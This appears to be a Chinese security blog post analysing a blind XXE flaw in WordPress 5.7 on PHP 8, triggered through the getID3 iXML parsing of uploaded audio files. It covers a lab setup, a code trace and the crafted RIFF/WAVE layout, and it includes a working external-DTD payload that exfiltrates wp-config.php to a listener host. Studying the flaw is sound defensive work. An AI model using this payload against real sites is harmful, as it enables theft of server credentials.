这个洞是新爆出来的,漏洞成因可以说是有点奇葩的,但正是这样导致很多人没发现,同时利用过程也是有一丢丢的复杂,下面是我分析和学习过程,希望能给大家带来一点启发。
影响范围: WordPress <= 5.7 && php8
类型: Blind XXE
严重程度: 中高
关于PHP8局限范围的一些解读:
每个PHP的主要版本生命周期一般为2年(超过这个时间后官方不再维护更新),PHP 7.4于2019年11月发布,作为PHP 7的最终版本,这意味着PHP 7.4要到2022年11月份才会走到它的“生命尽头”。也就是说,到2022年11月份,所有流行的PHP程序都至少应该与PHP 8兼容,
version: '3.8'
services:
wordpress:
container_name: wordpress-wpd
restart: always
image: wpdiaries/wordpress-xdebug:5.7-php8.0-apache
ports:
- "8010:80"
environment:
VIRTUAL_HOST: wordpress-test.com
WORDPRESS_DB_HOST: db
WORDPRESS_DB_NAME: wordpress
WORDPRESS_DB_USER: root
WORDPRESS_DB_PASSWORD: root
XDEBUG_CONFIG: "remote_host=docker.for.mac.localhost idekey=PHPSTORM"
depends_on:
- db
volumes:
- /Users/xq17/工作区/研究进程/代码审计/wordpressSource:/var/www/html
networks:
- backend-wpd
- frontend-wpd
db:
container_name: mysql-wpd
image: mysql:8.0.20
command: --default-authentication-plugin=mysql_native_password
restart: always
environment:
MYSQL_ROOT_PASSWORD: root
MYSQL_DATABASE: wordpress
MYSQL_USER: root
MYSQL_PASSWORD: root
networks:
- backend-wpd
networks:
frontend-wpd:
backend-wpd:
这里需要注意下,开启调试的话,需要手工修改下xdebug.ini
# Parameters description could be found here: https://xdebug.org/docs/remote
# Also, for PhpStorm, configuration tips could be found here: https://www.jetbrains.com/help/phpstorm/configuring-xdebug.html
zend_extension=xdebug.so
xdebug.mode=debug
xdebug.log_level=7
xdebug.log="/tmp/xdebug.log"
xdebug.idekey=PHPSTORM
xdebug.max_nesting_level=1500
xdebug.connect_timeout_ms=60000
# the default port for XDebug 3 is 9003, not 9000
xdebug.client_port=9003
# The line below is commented. This is the IP of your host machine, where your IDE is installed.
# We set this IP via XDEBUG_CONFIG environment variable in docker-compose.yml instead.
xdebug.client_host=docker.for.mac.localhost
xdebug.start_with_request=yes
xdebug.discover_client_host=true
wordpress发布新版本的时候会提到安全更新
这里提到了media Library,然后我们去github直接对比下代码
Compare: 5.7 <-> 5.7.1
/** * @param string $XMLstring * * @return array|false */ public static function XML2array($XMLstring) { if (function_exists('simplexml_load_string') && function_exists('libxml_disable_entity_loader')) { if (PHP_VERSION_ID < 80000) { // http://websec.io/2012/08/27/Preventing-XEE-in-PHP.html // https://core.trac.wordpress.org/changeset/29378 // This function has been deprecated in PHP 8.0 because in libxml 2.9.0, external entity loading is // disabled by default, so this function is no longer needed to protect against XXE attacks. $loader = libxml_disable_entity_loader(true); } $XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', LIBXML_NOENT); $return = self::SimpleXMLelement2array($XMLobject); if (PHP_VERSION_ID < 80000 && isset($loader)) { libxml_disable_entity_loader($loader); } return $return; } return false; }
说实话,这个漏洞成因还是很简单的
如果PHP版本>=8,那么就不会调用libxml_disable_entity_loader(true);
来禁止加载外部实体
那么最终$XMLstring
这个参数的内容就会进入simplexml_load_string
$XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', LIBXML_NOENT);
本来php8的话启用的是libxml2.9,默认是不会加载外部实体的,但是因为第三个参数启用了LIBXML_NOENT
开启替换实体,这样就会人为地修改了默认行为,从而导致了XXE攻击。
找到了漏洞点,并不一定说明存在漏洞,还是要找到路径到漏洞点,才能说明这是一个漏洞。
直接开始,全局搜索只有一个引用的地方
代码比较简洁:
wp-includes/ID3/module.audio-video.riff.php
426 行 getid3_riff
类
if (isset($thisfile_riff_WAVE['iXML'][0]['data'])) { // requires functions simplexml_load_string and get_object_vars if ($parsedXML = getid3_lib::XML2array($thisfile_riff_WAVE['iXML'][0]['data']))..... ......
$thisfile_riff_WAVE['iXML'][0]['data']
最终会作为XML2array
的参数传进去解析,那么我们继续回溯下这个参数是怎么来的。
继续查找:$thisfile_riff
然后跟上去发现是继承了父类的构造方法:
/wp-includes/ID3/getid3.php
1973行
那么我们继续回溯getid3_riff
这个类的实例化就行了。
跟到这里,其实我已经大概知道了那个信息是来源RIFF数据的,也就是说来自于音频文件的,那么到这里我心中大概有个底了,觉得是有机会的。
有了这个基础,我们就可以耐着性子,开始从函数调用,层层回溯下去了。
那么只能搜索Analyze
,最终人眼排除(说一下排除思路,就是要找getid3_riff
类实例化调用的Analyze
,不是的话就可以排除),最终确定了两个地方。
第一个地方:
/wp-includes/ID3/module.audio-video.riff.php
1896行,存在于ParseRIFFdata
函数内
第二个地方:
/wp-includes/ID3/getid3.php
640行 在analyze
函数内部
然后我继续看了下$determined_format
这个变量的来源,看他是不是会拼接成getid3_riff
选中之后,这个变量就会都被选中,然后前面找赋值
跟进这个函数GetFileFormat
这里我们可以看到返回是$info
,然后按照顺序,果断先从文件内容解析格式,解析失败了再从文件名入手。
,然后关于这个内容,都是GetFileFormatArray
来决定的,跟进
public function GetFileFormatArray() { static $format_info = array(); if (empty($format_info)) { $format_info = array( ... 'riff' => array( 'pattern' => '^(RIFF|SDSS|FORM)', 'group' => 'audio-video', 'module' => 'riff', 'mime_type' => 'audio/wav', 'fail_ape' => 'WARNING', ), .... } return $format_info; }
可以看到如果文件内容满足上面规则,那么最终是有机会调用getid3_riff
的,因为其中存在module=>'riff'。
搜索调用,同样也有两处:
第一处:
/wp-admin/includes/media.php
3549行 在 wp_read_video_metadata
函数
第二处:
/wp-admin/includes/media.php
3660行,在wp_read_audio_metadata
函数
那么我继续找这两个函数的调用
这两个函数很相似,限于文章篇幅、分析思路雷同,所以这里我只选取一个函数wp_read_audio_metadata
来分析。
第一处:
wp-admin/includes/image.php
489行, wp_generate_attachment_metadata
第二处:
/wp-admin/includes/media.php
321行 media_handle_upload
函数内
这个代码可以说已经很直白了,出现了$_FILES
全局变量(在这里,我不会去细究那些细节的实现的,我只要知道是否会经过就行了)
然后继续找这个调用
然后找到一处:
/wp-admin/includes/ajax-actions.php
2549行 wp_ajax_upload_attachment
函数内
然后我们再找下wp_ajax_upload_attachment
的调用点就行了。
/wp-admin/async-upload.php
33行
包含起来,然后调用这个函数,请求async-upload.php
页面,然后action=upload-attachment
,就会调用了。
随便找一个能够拖拽上传的点
抓包就会发现,是符合我们的分析的,直接开启xdebug跟数据流就行了。
断点我下在了
然后开始跟
这里有个小判断,可以绕过
Content-Disposition: form-data; name="async-upload"; filename="test.mp3"
Content-Type: audio/mpeg
然后也调用finfo_file
检测文件的头几个字节来判断$real_mime
(这个可以自己去跟一下wp_check_filetype_and_ext
,做了一些文件的白名单的操作)
这里为了不必要的麻烦,我们直接去找一个现成的mp3文件就好了(直接截取前面头一部分内容,emmm,蛮粗暴的)
然后我们继续向下debug:
下面来到一些关键的地方了,需要认真调试了
这里读取了偏移101B,32kb大小的头部内容进去,然后这里就可以搜索RIFF|SDSS|FORM
的数据了,emm。我们构造数据的话,可以先大量填充,最终找到101个字节的位置,然后修改为RIFF作为开始就可以进入到关键的地方了。
但是来到这里,我们的数据,依然是不成功的,因为要符合getid3库去解析RIFF的格式,要不然是提取不到数据的。
第一次构造如下:
结果如下:
最终进入关键的函数,结合最前面的分析,直接就是simple_load_xml
其实一开始我是没意识到那个位置代表的是RIFF的数据大小的,但是肯定有代表大小的区域,且为4字节,我试着填FF就发现了。
其实格式是这样的(感兴趣的话,可以直接跟一下解析就行了,这里直接给出我的结果):
RIFF|4字节随便填|WAVE|iXML|4字节代表xml内容大小|xml内容
这里因为没有回显,需要外带数据,所以可以这样构造:
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://docker.for.mac.localhost:8091/xxe.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>>
xxe.dtd
<!ENTITY % data SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=../wp-config.php">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://docker.for.mac.localhost:8092/?%data;'>">
POC如下:
结果:
其实我觉得,上面那些枯燥分析过程没必要去看,看成因然后自己去分析,出现问题再来看我的分析过程比对就可以了。给出我对这个漏洞的具体成因的理解,其实才是最重要的。
首先问题出现在了WP内置的第三方库:ID3
emmm,然后,直接搜索github,发现确实是这个库,
https://github.com/nass600/getID3/blob/master/getid3/getid3.lib.php 522行,感觉也很离谱,如果libxml<2.9的话,这个函数就会一样有XXE漏洞。
static function XML2array($XMLstring) {
if (function_exists('simplexml_load_string')) {
if (function_exists('get_object_vars')) {
$XMLobject = simplexml_load_string($XMLstring);
return self::SimpleXMLelement2array($XMLobject);
}
}
return false;
}
然后我们再看WordPress中的这个函数,是做了XXE防护的,原来在WP3.9.2的时候确实因为这个库导致过一次XXE。
emm,当时做了修复:
本来这样就蛮安全的了,为什么WP还要改呢? 这个问题就出现在了WP要向PHP8兼容
$loader = libxml_disable_entity_loader( true );
因为libxml_disable_entity_loader
在PHP8是移除的了,这个语句是会报错的,那么作为一个优雅的开发者,怎么修改呢? 所以我当时google了下。
有篇文章https://php.watch/versions/8.0/libxml_disable_entity_loader-deprecation,就介绍了如何解决这个问题。
emmm,是不是,然后我们回头看WP的代码,是不是很像,其实文章没有错,只不过,没有解释如果出现了第三个参数情况,那么默认配置不解析外部实体就会被第三个参数更改,导致了XXE。
然后看这个注释,emmm,只能说,开发者不是神,同样是人,一个应用不可能永远没有漏洞的,这个就是一个很好的例子。
其实我对这个函数也不是很懂, 其实也不是很清楚WP为何执意用这个,但是查看返回值确实是存在差异的。
猜想:
参数的作用就是在内部替换了实体,这样就不会出现实体节点,这样解析下来遇到实体的话就需要解析,底层实现的时候,解析到外部实体,所以可以导致XXE。
所以有时候这个参数是可以在一定程度简化代码的,但是要禁止外部实体的解析,我们依然要跟WP那样,加多一个@,屏蔽错误,这个操作依然是有效去防范xxe攻击加载外部实体的。
$loader = @libxml_disable_entity_loader(true);
不过官方提到这个参数,说如果需要使用内部实体解析的时候,那就需要带上第三个参数。
很迷,感觉这个说话不算很可靠,就算不需要这个,也是能解析内部实体的,希望有师傅能从开发角度说说差异。
文章从漏洞基本情况,环境搭建,分析思路,具体分析过程到成因分析,基本还原了笔者学习一个新漏洞的过程。其中可以发现,笔者更偏向于模拟漏洞发现者的思路开始回溯分析(未知),而不是poc->debug(已知),因为这样的模式可以让笔者印象更加深刻,也能发现更多的利用点。
关于本文还是有些遗憾的地方,就是还有很多触发点没去分析,目前的话,基本可以确定调用ID3库的analy函数的话就可以攻击,范围更小一点就是支持上传的点也可能可以,然后衍生下思路,一些wp的插件如果引用这个功能的话,那么也会XXE。欢迎师傅们继续深入研究,产出更多0day。